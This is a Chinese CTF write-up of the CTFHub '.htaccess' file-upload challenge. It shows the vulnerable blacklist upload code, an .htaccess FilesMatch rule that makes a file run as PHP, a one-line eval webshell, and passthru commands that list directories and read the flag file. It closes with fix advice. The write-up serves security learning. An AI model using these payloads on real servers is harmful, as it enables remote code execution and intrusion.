0


CTFHub | .htaccess

0x00 前言

    CTFHub 专注网络安全、信息安全、白帽子技术的在线学习,实训平台。提供优质的赛事及学习服务,拥有完善的题目环境及配套 writeup ,降低 CTF 学习入门门槛,快速帮助选手成长,跟随主流比赛潮流。

    

    

0x01 题目描述

.htaccess:

    htaccess 文件是 Apache 服务器中的一个配置文件,它负责相关目录下的网页配置。通过 htaccess 文件,可以帮我们实现:网页 301 重定向、自定义 404 错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。


网页显示内容

0x02 解题过程

**0x1 方法一: 使用蚁剑连接 **

分析网页源代码,代码中使用了两个常量 UPLOAD_PATH 。和 UPLOAD_URL_PATH ,但是没有给出这两个常量的值。一般地,程序员通常会使用这些常量来控制上传文件的目录路径或者 URL 路径。在代码的白名单中没有对 .htaccess 文件做限制。但是在检查源代码中发现没有对此文件添加到白名单中。

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>CTFHub 文件上传 - htaccess</title>
</head>
<body>
    <h1>CTFHub 文件上传 - htaccess</h1>
    <form action="" method="post" enctype="multipart/form-data">
        <label for="file">Filename:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>
</body>
</html>
<!--
if (!empty($_POST['submit'])) {
    $name = basename($_FILES['file']['name']);
    $ext = pathinfo($name)['extension'];
    $blacklist = array("php", "php7", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf");
    if (!in_array($ext, $blacklist)) {
        if (move_uploaded_file($_FILES['file']['tmp_name'], UPLOAD_PATH . $name)) {
            echo "<script>alert('上传成功')</script>";
            echo "上传文件相对路径<br>" . UPLOAD_URL_PATH . $name;
        } else {
            echo "<script>alert('上传失败')</script>";
        }
    } else {
        echo "<script>alert('文件类型不匹配')</script>";
    }
}
-->

使用** **FilesMatch 命令生成一个.htaccess 文件进行上传,绕过白名单中的漏洞。

<!-- payload表示之后需要通过FilesMatch命令进行匹配的文件名称,也就是之后需要上传的一句话木马 -->
<FilesMatch "payload">
 SetHandler application/x-httpd-php
</FilesMatch>

上传一句话木马,文件名为 payload ,这里不需要后缀名,因为要和 FilesMatch 命令指定的文件名称相匹配。

<?php eval($_POST['shell']); ?>

使用蚁剑添加并连接

检查网页文件发现此题flag

**0x2 方法二: 执行外部命令 **

方法一中已经分析过源代码,那么执行外部命令还是需要先使用** **FilesMatch 命令生成一个.htaccess 文件进行上传。

使用 passthru 执行外部指令,查看文件夹 var 中是否存在关于此题的 flag 。

<?php 
passthru("ls /var/");
?>

在 URL 中访问 payload 文件夹的路径

一般网页文件夹都存放在 www 文件夹中,这里检查 www 文件,需要再次上传 payload 文件夹才可以查看。

<?php 
passthru("ls /var/www/");
?>

查看 html 文件夹中是否有此题 flag ,这里看到有一个关于flag的php文件

<?php 
passthru("ls /var/www/html/");
?>

检查此文件,注意网页中是不显示注释代码的,需要检查源代码查看。

<?php 
passthru("cat /var/www/html/flag_828011517.php");
?>

0x03 修复建议

[1].给上传文件设置上传路径,对代码中的 UPLOAD_PATH 和 UPLOAD_URL_PATH 进行定义。

[2].限制允许上传的文件类型和大小。可以通过后缀名、MIME类型、文件头等多种方式对文件类型进行限制,同时可以设置上传文件大小的最大值。

[3].确保上传文件的存储路径安全,不要将上传的文件存储到Web根目录下或者其他可被访问的目录中

[4].对上传文件的访问权限进行控制,只允许有必要权限的用户或者应用程序访问上传的文件。

0x04 总结

文章内容为学习记录的笔记,由于作者水平有限,文中若有错误与不足欢迎留言,便于及时更正。

标签: CTF web安全 安全

本文转载自: https://blog.csdn.net/m0_51191308/article/details/129466473
版权归原作者 尼泊罗河伯 所有, 如有侵权,请联系我们删除。

“CTFHub | .htaccess”的评论:

还没有评论